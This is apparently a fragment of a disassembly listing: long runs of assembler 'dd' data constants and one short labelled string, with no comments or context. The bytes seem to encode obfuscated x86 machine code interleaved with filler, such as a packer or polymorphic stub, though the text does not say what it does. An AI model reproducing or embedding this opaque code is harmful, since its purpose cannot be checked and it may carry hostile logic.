		dd 2E000000h, 0B9BE4840h, 0A558E777h, 5E098BEAh, 4897D981h
		dd 665F00D8h, 5E9C28Bh,	7E000000h, 1D5E76Ah, 3D59BB66h
		dd 0F5DBBF0Fh, 0C88166F8h, 0FF98FEFh, 181h, 8F0FFC00h
		dd 0
		dd 7BE0B966h, 0F76D980h, 8Eh, 0F7816600h, 7FBFDF96h, 0B95A675Dh
		dd 589CC619h, 0F8D98B66h, 0DE9h, 0B4908300h, 0FC5EAE91h
		dd 0A59C2DEBh, 91B27726h, 0F6B70F50h, 60D08B5Ah, 7E9h
		dd 0B8281F00h, 0E443C463h, 5261CB8Bh, 0FE8h, 0E966B600h
		dd 3222E5Ah, 0AB6022CDh, 0C460B578h, 0DF10B866h, 0E281585Bh
		dd 43CB3596h, 0EE9h, 0DCB05600h, 0D8085B61h, 1A37A58Fh
		dd 8B7ADD95h, 0D2DBADFh, 830F4680h, 0
		dd 5105CA81h, 0BE85664h, 5D000000h, 93EF93ACh, 98ED1DA0h
		dd 10E97D22h, 17000000h, 9493237Ch, 0B3280026h,	0D9BA99B7h
		dd 59E215F8h, 0E436BA66h, 0FF88B66h, 0F81h, 0AE900h, 0AC420000h
		dd 4C37478Eh, 3B587D56h, 0FCDF8166h, 9E9F5D5h, 0A6000000h
		dd 0D8C07CC6h, 8D970B57h, 810Fh, 0B9660000h, 6060CEB3h
		dd 22C88166h, 0F96161F5h, 5E9h,	98ED1D00h, 0E8607D22h
		dd 10h,	0EE5B8FEEh, 91FCEC5Fh, 9CDC5D86h, 442A1A4Ah, 66E78166h
		dd 0CB85F31h, 6129CE2Dh, 0D171BA66h, 58F0Fh, 9DB80000h
		dd 810C7794h, 152D7FE9h, 0C4806015h, 28F0FDBh, 8B000000h
		dd 0E85061F9h, 9, 172B6BD8h, 1558B79Ch,	840F42h, 5A000000h
		dd 0CF81665Fh, 0BF0FB0CDh, 0BF0FFCF6h, 0FD98AC7h, 1D81h
		dd 11E800h, 10E90000h, 39F60E0Bh, 2D1742CEh, 25D44F10h
		dd 0F0B463Ch, 8Ch, 8E85B00h, 0C7000000h, 0B0775C70h, 0E8798CB7h
		dd 13h,	0C81AE002h, 2713922Bh, 58B2FD6Eh, 0E7D22686h, 8B08940Dh
		dd 0BA5E59D7h, 5CB6DDC9h, 66F3B70Fh, 0E8652CB8h, 11h, 8F744E00h
		dd 89AB2F01h, 4FAC5988h, 0FD01CD30h, 0BFB9663Bh, 0EE85B14h
		dd 9D000000h, 0C7076D7Dh, 7F10FDD4h, 0FC3526C3h, 58CE8A08h
		dd 0BBBB6653h, 0CA805803h, 0DF8B6626h, 0B0F28B66h, 0CABF0F66h
		dd 0B5C08166h, 16BA6613h, 0F1B70FB4h, 60D18B66h, 0D63FC6B9h
		dd 0BE86101h, 0D8000000h, 1A1CCDADh, 0B4662B4Ch, 0C180CB9Fh
		dd 800F5B9Dh, 3, 60D2B70Fh, 5FCCB751h, 8E8h, 0B296F200h
		dd 3959DFA3h, 0F6BB661Fh, 6061580Eh, 6870Fh, 8F0F0000h
		dd 0
		dd 8D0F61F8h, 1Fh, 870F60h, 0E8000000h,	11h, 9FA65F28h
		dd 74C8ED8Dh, 0E7D5C551h, 0DD975B86h, 66615E74h, 8BD97FBAh
		dd 0B966F3h, 0A307BF0Dh, 0D6806483h, 14E9A8h, 9BEE0000h
		dd 0E067F604h, 0F573D509h, 7F17D451h, 0D3F585C0h, 816692BEh
		dd 0F9E067CEh, 0ABC2EF81h, 8D0F3B37h, 9, 3890Fh, 8B660000h
		dd 0CE9C7h, 0A6420000h,	3F66E4C4h, 4057C720h, 8166701Bh
		dd 0E9D939C8h, 7, 4C75C79Eh, 8163320Ch,	5B084C0h, 13E945h
		dd 245D0000h, 471BC5D7h, 6DD9893Ah, 720457ABh, 9C82F492h
		dd 0E9C78B30h, 9, 1780B235h, 0F50F3F9Bh, 0C1B70FD5h, 0C28BC18Ah
		dd 0BEC7BF0Fh, 698D8EEFh, 0F601B966h, 860Fh, 0D1810000h
		dd 3FDC6F02h, 0A860FF9h, 0E9000000h, 5,	0CAC985FCh, 58A0F53h
		dd 66000000h, 1093D381h, 0CE9h,	0F5CB3F00h, 36F20339h
		dd 94970C1Fh, 0D7BF0F2Ah, 6E8h,	0F255D900h, 5677C908h
		dd 3E83B966h, 0F38B595Bh, 804509BBh, 0C3816678h, 0F9FC979Ah
		dd 81C78B66h, 2F43ACF3h, 1BC6B862h, 0B70F0D32h,	3880FC6h
		dd 66000000h, 2ABAC88Bh, 0E91D9216h, 8,	295B701Ch, 0FBF2E6B3h
		dd 0BEDABF0Fh, 5833153Ch, 0A0DDB866h, 28D0Fh, 0F78B0000h
		dd 6C38160h, 0E877E0D2h, 6, 0CD433B4Eh,	0CA8BD6E2h, 0F48A615Eh
		dd 18F0Fh, 0BFF80000h, 5244CAB2h, 0DA7EBB66h, 0F08BF960h
		dd 0B8BF6661h, 8B666028h, 6E9FAh, 58330000h, 0B43060A1h
		dd 9A31BE61h, 8B666AF0h, 12E9CBh, 0E1540000h, 0A6FA1CADh
		dd 0DF87174Ch, 0BF86D39Dh, 7906435Eh, 0FE88EB0h, 0A2000000h
		dd 38D97A06h, 0B55ED9C8h, 8AA6A076h, 830F8CE3h,	18h, 12E8h
		dd 18324B00h, 3065116Fh, 0B7700883h, 3C44E0CCh,	59789077h
		dd 0B2C18B5Bh, 13E9BBh,	0B9CC0000h, 3BAEA485h, 5E1E9963h
		dd 591EDECh, 4E90DDDBh,	28C0FC4h, 8A000000h, 0C38B66FCh
		dd 168A0Fh, 11E90000h, 7000000h, 7C3AEDCh, 57C3FECDh, 8AE9764Ch
		dd 0FD6DC3DCh, 13E9h, 81CC8600h, 0D0D59418h, 0BA154011h
		dd 0CB49A7ADh, 0F12DFE8Fh, 6E876B0h, 9C000000h,	3002CEF9h
		dd 870F6026h, 0
aPAS		db 'P^a^Х',8,0
		align 4
		dd 77318200h, 0D9C197EFh, 2840FB5h, 60000000h, 0F3815961h
		dd 6DE1A7FBh, 8166F18Bh, 664AE2C3h, 427CCE81h, 885EBF66h
		dd 32BB6651h, 81F55E44h, 0BF5841E2h, 0C2816610h, 0CE9ADA1h
		dd 0CD000000h, 7C3AC00Eh, 275044F4h, 0E8992BC5h, 13h, 162CFF0h
		dd 20A6A684h, 806E4064h, 8F8E04F3h, 0E9E428FBh,	9, 8A0AD42Eh
		dd 4E432BFh, 0DC805F29h, 0C0DE8043h, 0AEF4CA81h, 0B70F425Dh
		dd 66C58AC0h, 64DA81h, 0E081F960h, 5B8267Fh, 0F515061h
		dd 5E58D0BFh, 66F1B70Fh, 0E9AC7FB9h, 11h, 0F7ACA12Ch, 288310D1h
		dd 8B917B3Ch, 1FBFCD4Eh, 0E981F81Fh, 3D55729Dh,	86B956FCh
		dd 5966215Dh, 5360CA8Bh, 4B2881B9h, 0F615F5Ch, 188Dh, 13E900h
		dd 582B0000h, 0D21AE229h, 0AB938873h, 0DBDEA94Dh, 0B37C077Ch
		dd 0EE8FC6Bh, 0EA000000h, 2E8A1347h, 0FAFC3FD2h, 852CB086h
		dd 0DB8160B9h, 70717545h, 5961D98Bh, 3CF38166h,	0E98166DCh
		dd 6E8EF6Bh, 24000000h,	0C6A106BBh, 5E875h, 0D5760000h
		dd 8A28D94Ah, 805E59CFh, 0B9668BD8h, 0BE66B722h, 81663C5Dh
		dd 819F79D7h, 819DCEC2h, 0F31B376h, 1688h, 108C0F00h, 0E8000000h
		dd 0Ah,	13FA1377h, 65CBCFCFh, 0B35AAE12h, 28D0F27h, 8B000000h
		dd 13E9C8h, 42300000h, 71BFDF99h, 0F25C7D72h, 163E5C69h
		dd 0DBEF8B80h, 0CF81667Fh, 8D0F248Dh, 1Ah, 0EE8h, 0AF291F00h
		dd 191426F0h, 0D5FD63FFh, 811B2B0Fh, 0BBCD1ACBh, 47B05F3Bh
		dd 0FE3EC981h, 0F88B28ABh, 0BE9h, 0A4CF4200h, 6B8A3E68h
		dd 0B5876DFDh, 0E3C180F5h, 816640B6h, 0B9065FC8h, 293F3FB0h
		dd 0FFBF0F60h, 0DCD88166h, 8F0F61AFh, 1Dh, 14E8h, 8ED8D100h
		dd 7625B61Bh, 0EB645950h, 30DC495h, 372D5C66h, 0F98B6612h
		dd 1EBF665Eh, 76C781ECh, 66075BE3h, 807191BFh, 0F6B901CBh
		dd 6679DCB5h, 7CECD681h, 0EDC88166h, 9E960ECh, 5A000000h
		dd 0DA047F3Bh, 0D6F77B6Ah, 0A0DEF281h, 0E9615E9Bh, 0Dh
		dd 0B81B0864h, 0D057171Ch, 0DED452E3h, 14E818h,	0FFB00000h
		dd 6D382470h, 224C83D4h, 20C07429h, 0BA69B8FEh,	0BA665989h
		dd 805A1028h, 0F181A0CCh, 50DDB11Dh, 6E9h, 49579600h, 0B4B9399Bh
		dd 3860F71h, 80000000h,	0C68116CBh, 75CF3F91h, 3BD78166h
		dd 89BE60BCh, 0F82288A6h, 0F8D18061h, 6854F281h, 0BE849E7h
		dd 0A1000000h, 7C00BAF6h, 68206FAh, 0EE9955Ah, 24000000h
		dd 4C4B8793h, 9856C18Ah, 0AF595D85h, 0DF8B5EE0h, 66CE8B66h
		dd 800FCA8Bh, 0
		dd 0FC18B66h, 584h, 0D3EEB900h,	0D08A5383h, 81D3BF0Fh
		dd 7EAE1BCFh, 198F0F77h, 0E9000000h, 14h, 0A8931748h, 847119BEh
		dd 678E8C96h, 1C83A408h, 0E8A88DF0h, 0E081F18Bh, 48F712CBh
		dd 4A8837BEh, 0E9D68B40h, 8, 0C7BFC543h, 99A46EDCh, 0B8C0Fh
		dd 810F0000h, 5, 0B4EC8DB9h, 0F38B6635h, 0AE8h,	822CD700h
		dd 1707BDA4h, 0E9C88C98h, 8, 3C6BEB92h,	7328C0ACh, 81605058h
		dd 2D562BE1h, 0DF816649h, 5E617763h, 0B205C680h, 0EF81663Fh
		dd 81661875h, 667E58F7h, 0E9F5DE8Bh, 14h, 0B5D9C197h, 0CF5F8797h
		dd 5E5B1FDBh, 0CF122C87h, 0F4731E74h, 0FC78B66h, 584h
		dd 0C1816600h, 8B66F935h, 0D98B66F7h, 0B966B5B0h, 66FCACE7h
		dd 734E181h, 7E9h, 329DCC00h, 4B55B80Ah, 0BB66D08Bh, 0EB81066Eh
		dd 12623AB5h, 0CE8h, 7ABF0200h,	1C384D28h, 99996497h, 0CF816684h
		dd 0F5FF830h, 0E960F7BFh, 13h, 37E4836Ch, 0DEFF5EC3h, 6D770F51h
		dd 7D7AE2C9h, 0F52BAE14h, 0C7816661h, 0D48A0E27h, 58AA82BFh
		dd 0F6B70F57h, 8E9h, 904B9B00h,	0D9A21FECh, 92B150D0h
		dd 0C181665Bh, 0CE9272Ah, 5A000000h, 8567415Ch,	0BE197502h
		dd 810E5D98h, 0D1CB4AC8h, 0FE86060h, 0B5000000h, 95FCD08Ah
		dd 56FA2CAFh, 0E029D683h, 5EF87BFBh, 19B0F5B8h,	13E86174h
		dd 0A9000000h, 0D051F969h, 0C2F707DDh, 0E242DBB4h, 0B3A438C5h
		dd 840F49F3h, 1, 81665FF8h, 66DDA0F2h, 0B72C981h, 68E0Fh
		dd 0E7810000h, 5DB1C526h, 5B7FD181h, 8B664A13h,	0F98B66FAh
		dd 6E9h, 8BE7C000h, 52B28754h, 37EB8166h, 0BF665F88h, 810FE6FCh
		dd 8, 2860Fh, 5E560000h, 0FCEB70Fh, 6E8D6B7h, 61000000h
		dd 12D040E6h, 0FA8B662Bh, 50C2B45Eh, 60DA8A5Eh,	10E8h
		dd 2BD1C000h, 9EF1B1B5h, 11E0DF74h, 0B55AA670h,	58FD8A4Ah
		dd 6E9h, 84EBD500h, 6132A5F0h, 0C8A0Fh,	7E90000h, 1D000000h
		dd 7E1EB9A7h, 12E90258h, 44000000h, 0DDC30CABh,	11EE3548h
		dd 5BD03FD6h, 0A6730C9h, 9E9FCDBh, 0A1000000h, 0F15927D4h
		dd 0D83A3B6h, 3F68166h,	5BBB6670h, 58C0F53h, 0BE000000h
		dd 69F959B2h, 0C38166F8h, 8166639Ah, 66CFFDDFh,	6DEFCA81h
		dd 0BF0F5F57h, 0D3BF0FDBh, 66D88BFCh, 0E859E181h, 1CBBD48Ah
		dd 60356FC4h, 61C9BF0Fh, 0CDB3BF66h, 48E0Fh, 0BE660000h
		dd 0DE92E91h, 9000000h,	5FBEF60Dh, 604AB7Ch, 39AA88E4h
		dd 0F37C680h, 128Bh, 6E800h, 0C8510000h, 1BEF4B28h, 9366C281h
		dd 80596FD1h, 0B70FA1E4h, 3C2BB9C8h, 6E92188h, 0D5000000h
		dd 66681C5Bh, 0C78157FBh, 423D0680h, 0C3B70F5Ah, 2840Fh
		dd 0A2B20000h, 0A8F0Fh,	840F0000h, 4, 9FFBF66h,	11E853h
		dd 398F0000h, 9E7A0DC5h, 4C3C8B8Fh, 1A456A5h, 57A91476h
		dd 0B6585A5Eh, 0D6816064h, 44F256C4h, 8B666061h, 11E8CFh
		dd 0AB9A0000h, 61FF270Ah, 6429B214h, 0DC8BEFFBh, 0F963A72h
		dd 82h,	0E9615A00h, 10h, 0C93DD0F1h, 7934F992h,	0DF359B45h
		dd 0A1B023Bh, 0FF98B66h, 685h, 0B9665600h, 8158D451h, 74EAA3E8h
		dd 7E913h, 0EA20000h, 13164EFh,	3860F79h, 66000000h, 0FE9D08Bh
		dd 40000000h, 0A327CEC4h, 574D4182h, 90F607A6h,	0C78B5E21h
		dd 0E9C1BF0Fh, 9, 668B892Ch, 4F82D914h,	810F36h, 0F000000h
		dd 81h,	7E900h,	70C60000h, 3EE4DC45h, 38E0F6Eh,	80000000h
		dd 6056D4E0h, 8E8h, 0D4532A00h,	7EB6C2D9h, 616059A0h, 11E85B61h
		dd 52000000h, 0C01D2557h, 0FB94F673h, 0BC477DBFh, 0EB8D055Bh
		dd 0BE9BE3BBh, 850F585Fh, 4, 5E616052h,	0D9D28166h, 6E9F882h
		dd 0F0000000h, 5AAC4E48h, 0BE913h, 3B270000h, 3C35668Ah
		dd 87162FF6h, 0AEC181D4h, 0E9378FD7h, 13h, 0D03FD611h
		dd 6730C95Bh, 2C8DB0Ah,	0EF39895Ah, 0BAA99BD9h,	3F27C155h
		dd 11E9h, 0A0910E00h, 0E7BC936Bh, 45750647h, 3011B0Fh
		dd 0BBBA63FAh, 0E9370DCFh, 0Bh,	0CF555421h, 0AEA7ACF1h
		dd 0B8EF4114h, 60B1947Bh, 9E9h,	9C156A00h, 6830044Dh, 0BF0F543Ah
		dd 0BBEF8AFFh, 0C998848h, 38B0Fh, 0BF0F0000h, 7783BFC0h
		dd 81534D2Eh, 16792C1h,	0F5805A2Ah, 90E98170h, 6604C93Eh
		dd 7B42E981h, 11E9h, 0E25BE00h,	977CCBE8h, 61F407C4h, 0ACB84B83h
		dd 0EEB83A9Ch, 0BE0B7D13h, 0E6D4EC5h, 0CE9FE8Bh, 4F000000h
		dd 0C3D0F7A5h, 0BC8DBC41h, 6674A859h, 0C88BF88Bh, 2800Fh
		dd 0CB8A0000h, 810F96B1h, 5, 0FD28166h,	92E58033h, 0D181DF8Bh
		dd 63B8FF64h, 0DE91AB5h, 0B1000000h, 88F2D5EEh,	0BD4DF798h
		dd 53BDD876h, 11E9h, 0C088CA00h, 4B66F8F4h, 0F6D38DFDh
		dd 9C1B5C34h, 0FE9A55Bh, 0DD000000h, 0F6B71A89h, 0E36A92C0h
		dd 199199ACh, 0F604252h, 1180h,	0CE900h, 4D6E0000h, 0AEB742AEh
		dd 0CC3AB0E4h, 61F5EE15h, 0FE8h, 0ECA37900h, 70EA68C0h
		dd 0A6CB3AF9h, 7D91F5B3h, 8A0Fh, 0E95B0000h, 0Ch, 0F47EA222h
		dd 4F4DC90Eh, 504BDB2Bh, 8F6912B8h, 0AE819h, 84600000h
		dd 0AAE81757h, 0F814F799h, 0BA5AD68Bh, 454B201Ah, 0DE9h
		dd 0BF964900h, 844D1CAEh, 3DAC67E2h, 0DE9938Dh,	8E000000h
		dd 24CBB0BBh, 32428B75h, 950A4189h, 0BF0FE38Ah,	0BF0F50FFh
		dd 8B6658F9h, 0DE8166F3h, 8A0FD980h, 8,	0B9BB6660h, 616160E5h
		dd 0FE9h, 1369B300h, 58361564h,	750DCE4Ah, 4DCE5FAh, 0EA8166B2h
		dd 4E033758h, 0FE9h, 0DA198900h, 6D8B6E6Dh, 0C9145695h
		dd 3D104B1Bh, 990BBBFCh, 870F2841h, 8, 2890Fh, 61600000h
		dd 0F53DE380h, 0AE8F5h,	39210000h, 5DBF9B97h, 9C56ED9Bh
		dd 5810Fh, 31BE0000h, 5A20F63Eh, 0E0C28160h, 6119C9BCh
		dd 0DE9h, 86C0EA00h, 5D959ADEh,	5F817D29h, 0E080EBD9h
		dd 9327BA36h, 8B663F80h, 0E08166D9h, 0C180DE2Eh, 0E480F871h
		dd 816660D7h, 50E816C1h, 615BF1B4h, 0FFC58B3h, 58Dh, 0E2816600h
		dd 8F0F2F63h, 8, 28C0Fh, 0F0B00000h, 0CE9h, 640F4800h
		dd 1D911551h, 8290E14h,	0FE8B6626h, 0D850Fh, 8E90000h
		dd 74000000h, 47968122h, 0BAF7A54Fh, 5494DEA0h,	11B312BEh
		dd 890F560Fh, 2, 0E95B5850h, 6,	0A1DCF065h, 0B70FEDBCh
		dd 0E38AF8C9h, 8B66C88Bh, 18E0FF9h, 0F5000000h,	0CE9h
		dd 0AF4B6800h, 0BCBED582h, 8ECC4560h, 9421B9A7h, 0BE87F94h
		dd 0AC000000h, 54464F12h, 32B1750h, 11E8C564h, 0B2000000h
		dd 9B441D41h, 52B5526Ah, 55F054A6h, 0A8A69ED3h,	0F585AF8h
		dd 0C84h, 68B0F00h, 0F000000h, 8Bh, 0CE800h, 81A20000h
		dd 990B7116h, 1958BBB6h, 0BF0F743Bh, 8B665ED7h,	13E9C2h
		dd 43270000h, 9DC93E99h, 8E2ECE2Dh, 38E47611h, 0BE90ADADh
		dd 8BF5F9B1h, 816060D8h, 219785EEh, 61E78A46h, 10E861h
		dd 0FE220000h, 0EAB0344Ah, 419E3468h, 2EB18851h, 0F8589B8Fh
		dd 0AE9F8h, 9BEA0000h, 3F6AA680h, 5A241A04h, 8E9h, 0D29FC500h
		dd 91733146h, 5810F53h,	66000000h, 19EBD181h, 0FF3BF0Fh
		dd 0BF0FCEBFh, 0FE8CEh,	691C0000h
		dd 881487D6h, 6D3CBAFAh, 0D56A54F0h, 0FF56056h,	8Ch, 81586100h
		dd 8FF617E7h, 7E966h, 9A970000h, 0D00ADA24h, 0B7FCFC7Ch
		dd 3860FD9h, 80000000h,	80F5D5ECh, 0F080FEE8h, 9E823h
		dd 98CB0000h, 3BB810E0h, 5BB8AD05h, 5C7EBA66h, 0F48EBB66h
		dd 8B66F560h, 0CA8B61F7h, 17840Fh, 12E90000h, 0F000000h
		dd 2E158CB3h, 0E8B8C7EBh, 4CC6F6C5h, 472BBB37h,	0BFB5F50Ah
		dd 0C4DF8166h, 0FEB70FFAh, 11E8h, 0DF5F5700h, 4A0D1525h
		dd 2499F961h, 5B73FD3h,	0B0B4ECE1h, 663DB55Bh, 8E9ED981h
		dd 0ADD78060h, 61F6DC80h, 68F0Fh, 820F0000h, 0
		dd 0B9F9BF0Fh, 2A0E9138h, 22C08166h, 0A9EE8119h, 501624B1h
		dd 0ACBA6650h, 0F5F588Ah, 0E83h, 6E800h, 7DF80000h, 4207F29Ah
		dd 665F6160h, 0E94090BFh, 0Ah, 8FB6F5A6h, 0D5233E33h, 8B66B7D5h
		dd 0CE9C6h, 0EF340000h,	490A8DEAh, 0B5179A90h, 65B2A885h
		dd 0CE9h, 0FA049F00h, 0E3AFD2FEh, 6C201EA3h, 0D18060FDh
		dd 9E828h, 0CDBE0000h, 9B0A272Fh, 66D93DE0h, 615AC78Bh
		dd 0AAEA8153h, 5E12B5E7h, 0DE953h, 0C15B0000h, 0EF0B0FB5h
		dd 9EF48E5Bh, 5A49FA81h, 0BE8h,	3FAADE00h, 3EE7BD44h, 0CBD7FA0Fh
		dd 0CA8DB866h, 0F08B535Eh, 8A0FFC58h, 2, 860FF98Ah, 6
		dd 417CE281h, 870F4337h, 0Ah, 48D0Fh, 0BB660000h, 8E0FB0FCh
		dd 5, 0FCC716B9h, 14E925h, 7CEC0000h, 3E25AEA6h, 66AEA9BDh
		dd 0BF0C2751h, 37CE5484h, 0D18B0F7Dh, 0CDBFFA8Ah, 0F05F6C3h
		dd 850FCABFh, 0
		dd 10E8h, 55134800h, 171B7534h,	0BE10B64Ch, 45785B31h
		dd 0EE95B94h, 29000000h, 704A52D1h, 40855D99h, 228B979h
		dd 0D68B66FAh, 54B9E081h, 0C98109F9h, 29515DE2h, 10E9h
		dd 0ACF72100h, 5BCC606Dh, 0AC4F7875h, 0A270ED65h, 0B8D181B4h
		dd 66559292h, 0C380C68Bh, 6E9F9ADh, 94000000h, 0BA6531Ch
		dd 0B8F38BD4h, 75F68F5Eh, 6E9h,	3DE78200h, 0FDB99C6h, 0F960F3BFh
		dd 61DEF680h, 8F0F53F5h, 2, 0F5A5951h, 5E8CFB7h, 2E000000h
		dd 0AAA51868h, 5587BF5Fh, 0E38049CCh, 0CEE98152h, 663AE40Ch
		dd 0F502F6BBh, 7E9h, 0AA2C3F00h, 0AD91C555h, 5E8h, 0A6A1E600h
		dd 0FA8A1E39h, 0FEBF0F5Eh, 6810F50h, 0F000000h,	8Bh, 820F5F00h
		dd 5, 0DCC98166h, 0F0B70F2Dh, 0CE9h, 0FEA14E00h, 4C68524Fh
		dd 4E647691h, 820F50h, 0BB000000h, 3E003F03h, 0B1F28166h
		dd 66D38BC5h, 0AAB7E081h, 0DE8h, 0FA93A900h, 0D2AE1D93h
		dd 0B5030ABFh, 0BE6695F9h, 565E7750h, 2C1EDABBh, 0B3B75A75h
		dd 0E9D88B66h, 14h, 6EB5C6E1h, 896510E3h, 0CCF514F2h, 588380DEh
		dd 1E9FA151h, 439067B8h, 25BCB921h, 830F331Fh, 6, 0A61FE281h
		dd 0FE90AD8h, 43000000h, 392AA182h, 0E9228C8Ah,	69C868BEh
		dd 0BF6667EAh, 0D6B8F12Bh, 0B875787Dh, 54515DE0h, 2226BF66h
		dd 0F53CEB1h, 28Fh, 5AFC8A00h, 0E6D381F9h, 0F07E1E4h, 0DF8BFABFh
		dd 0F53F38Bh, 689h, 3AE08100h, 585C4A4Dh, 11E9h, 0F0474100h
		dd 64E68D0Eh, 2E173DBEh, 0EAE0B2D5h, 0DF804338h, 0D1CA8027h
		dd 1AF78166h, 6E9A4h, 36460000h, 8CABC40Bh, 881F39BAh
		dd 0E9C78B24h, 0Fh, 6427F937h, 625378E9h, 538C51DDh, 660F6A56h
		dd 6E9F28Bh, 7F000000h,	0C25946AAh, 0FE836h, 7F940000h
		dd 61AC4BA7h, 0CB99964Bh, 0E38D8DBFh, 61606039h, 61F3BF0Fh
		dd 6E95Ah, 742C0000h, 26ABD6E5h, 5E9h, 0E4B29100h, 0D88ADB84h
		dd 0BE9h, 11FE100h, 0C8B9595Fh,	0C5204D80h, 0E9DFB70Fh
		dd 8, 393D80D8h, 0C05DA2FBh, 0AE9h, 8EAC4200h, 564C3747h
		dd 603B587Dh, 8D0F60h, 66000000h, 0E961FA8Bh, 11h, 94CE339Fh
		dd 0FF6158F3h, 458A38FBh, 0D3C4736Eh, 0F781615Fh, 3A8976A4h
		dd 7E9h, 0FBFB6000h, 0A0EC8334h, 12830FF9h, 0E8000000h
		dd 6, 0FE3BFBA0h, 8D0FFC21h, 0
		dd 8B66F85Bh, 8E0FF9C2h, 2, 0D98BC28Bh,	81D7BF0Fh, 2C3CDD3h
		dd 0FE96Ah, 9F310000h, 0DE013CAEh, 27546BA3h, 0DF5E23D9h
		dd 0D3BF0FAAh, 5AC78166h, 605BB1F7h, 0B3C453BEh, 3890F21h
		dd 0F000000h, 0F61FEBFh, 148Dh,	0FE900h, 96D50000h, 0D87BE5B3h
		dd 0E0E4DE88h, 8A098FECh, 9E9FCh, 5E2B0000h, 18F86697h
		dd 66338215h, 0BBFEF281h, 2FB9BB66h, 0ECC8BB66h, 6E860FCh
		dd 5000000h, 0EABD592Bh, 0CE973h, 0A1A20000h, 0CA1E6D4Ah
		dd 289EFDE2h, 0BF5ACEB1h, 6F788438h, 5E861h, 0DFF10000h
		dd 0FDBBCC7h, 0E85BFFB7h, 8, 7290D177h,	0A9875146h, 9839D281h
		dd 0F595DC7h, 481h, 61605200h, 56BB6658h, 13E99Ah, 37DC0000h
		dd 64AB9C4Bh, 0A54DEF2Dh, 0A8750B8Dh, 76821620h, 0BAE6B017h
		dd 4A9DAA56h, 18840Fh, 0E8500000h, 10h,	0EE580AD2h, 37387EFEh
		dd 5F640DB7h, 0DC1A8CC2h, 0B9665A5Eh, 66605E6Dh, 7A60F181h
		dd 0AE8h, 54D27500h, 66DEBA0Ch,	8A7BA001h, 0E96158F7h
		dd 0Dh,	60328312h, 30AAB95Bh, 2701571Eh, 4850F3Ch, 66000000h
		dd 80DDDCBEh, 3FB56EDDh, 5850Fh, 81660000h, 8AF6ACF1h
		dd 23C080DAh, 0DE9h, 0E360EA00h, 0BCB975A2h, 833D92C5h
		dd 0CA8AFB87h, 2A830Fh,	0DE80000h, 0D6000000h, 7771AA30h
		dd 4C873EAFh, 0F1807C06h, 12E9h, 7047C100h, 7CF221DCh
		dd 0B34D654Ch, 0B58D574Ah, 5A9061E3h, 33B850F8h, 5918D78Ah
		dd 7E9h, 0E21F2C00h, 27EBCEC0h,	0F8D68B66h, 390BD681h
		dd 10E877FCh, 1B000000h, 904F8C2Dh, 0F69FC960h,	0B39CF318h
		dd 0E982F08Bh, 5, 928469Bh, 0C7815FADh,	60DD99E3h, 51C78166h
		dd 0CA8166DBh, 5A529021h, 0E466C081h, 13E90F02h, 6D000000h
		dd 0BFAC290Ah, 6C360164h, 0AA260EBBh, 64F81297h, 0B8601398h
		dd 3A52DB7Ah, 61CE8B66h, 11E8h,	14990900h, 4D9C156Ah, 3A683004h
		dd 4A5E5454h, 0BF0F4D14h, 0FA8B59D3h, 39BF6657h, 0AE85F0Dh
		dd 20000000h, 0D8E53E9Dh, 2060B142h, 0BF0F5F5Eh, 0E78166DBh
		dd 0BB662E4Eh, 8B666577h, 820FF5C7h, 6,	0DC4FDE81h, 0C68B074Bh
		dd 0AB07BA66h, 0FE9h, 51608800h, 0AB704C99h, 34B0FEE8h
		dd 0FD36A026h, 14E9h, 0F37CC700h, 95B52740h, 0F7EE836Eh
		dd 7E0B20D3h, 60984BA3h, 0F18B6641h, 68B0F52h, 81000000h
		dd 85ED7C8h, 9E85B5Ch, 9D000000h, 0C9A2FCAh, 7D21E180h
		dd 5AC0B70Fh, 238E0Fh, 11E80000h, 0D8000000h, 0E6CFB93h
		dd 0CF4D49D1h, 43343BD9h, 0F122C414h, 7E9h, 0B8A04800h
		dd 8C62F0ABh, 8166F559h, 8AB413F0h, 0D3BF0FD4h,	1A800Fh
		dd 0E9600000h, 13h, 15B93C86h, 2A986529h, 0B4FD50DAh, 8739316Ch
		dd 61290181h, 0BE66D08Bh, 0E860E594h, 11h, 7BFFE136h, 1372970Ah
		dd 0E7A1D07h, 0E98B0AB7h, 11E9B5h, 0FEE30000h, 9DBC3119h
		dd 30CEB762h, 0A14A4DB2h, 587DD362h, 8C98061h, 6616CA80h
		dd 0F172D381h, 4CE2BF66h, 0BE852h, 0A38A0000h, 6DBB2177h
		dd 0D1E1D085h, 0DBB70FDAh, 8E85A5Bh, 2000000h, 272884E3h
		dd 0E9EC796Dh, 14h, 1D330446h, 0DCE9900Eh, 749C2668h, 3421C615h
		dd 0A225DA21h, 0BEF78B59h, 4CA27F52h, 70C8BB66h, 0B6CB8166h
		dd 66C28B7Ch, 0E963CFBAh, 12h, 4EEF18B2h, 0F07499A9h, 76072635h
		dd 486C7DC2h, 0F52AA2Ah, 8059D7BFh, 0D6818CE4h,	616C05DFh
		dd 4C53EF81h, 10E83B54h, 0B9000000h, 5AD351FAh,	0D7627D50h
		dd 0F2F87003h, 0B78FFD2Dh, 5B515FEFh, 7E8h, 0B9F04800h
		dd 56E72521h, 5E8h, 916F9800h, 5E5B7217h, 1DC88166h, 8A0FFC0Ah
		dd 0Dh,	8E9h, 9868500h,	13E18203h, 3A5CBABCh, 41BB097Fh
		dd 0E96F792Bh, 13h, 0D707FD75h,	242C214Eh, 0C94B32C4h
		dd 0BA1E9D40h, 0E9B59998h, 11h,	0C0E93CD6h, 7464844Fh
		dd 54E783DDh, 96CCC83h,	0DE8F9h, 0CB660000h, 36EEC0C2h
		dd 664898E3h, 665D64DBh, 0E959C78Bh, 0Ah, 54B1EE95h, 0E261C565h
		dd 800FEF22h, 3, 0B8C0B70Fh, 185DA7C4h,	9E8h, 53AADA00h
		dd 0D6E18F54h, 0F960E8CFh, 0BF665B61h, 0CE886E4h, 53000000h
		dd 6EBB0C03h, 65DB6DC9h, 0F43C822h, 0E85FFEB7h,	6, 0CB86D70Fh
		dd 5BFC3E22h, 16EE8151h, 5819C25Dh, 9E8h, 0FA17A900h, 55B3860Fh
		dd 8B66F954h, 0DF815FCFh, 782E2462h, 8F0Fh, 0B8660000h
		dd 0E860F39Ch, 13h, 473B42CAh, 0F447851Ah, 785F1A21h, 0CBABC179h
		dd 5A299CD1h, 6860Fh, 0DF810000h, 0E29D651h, 5FF85061h
		dd 0DA8B6052h, 0FE8h, 0E9819F00h, 0EBC7E413h, 724BED4Eh
		dd 21AE6ABFh, 605A6159h, 3820Fh, 8B660000h, 0DE861C2h
		dd 1000000h, 0FE5374B2h, 14D3AB09h, 23C6A714h, 0ACBEF560h
		dd 6157768Bh, 0DE96058h, 0DB000000h, 0D3A02996h, 0C262563Bh
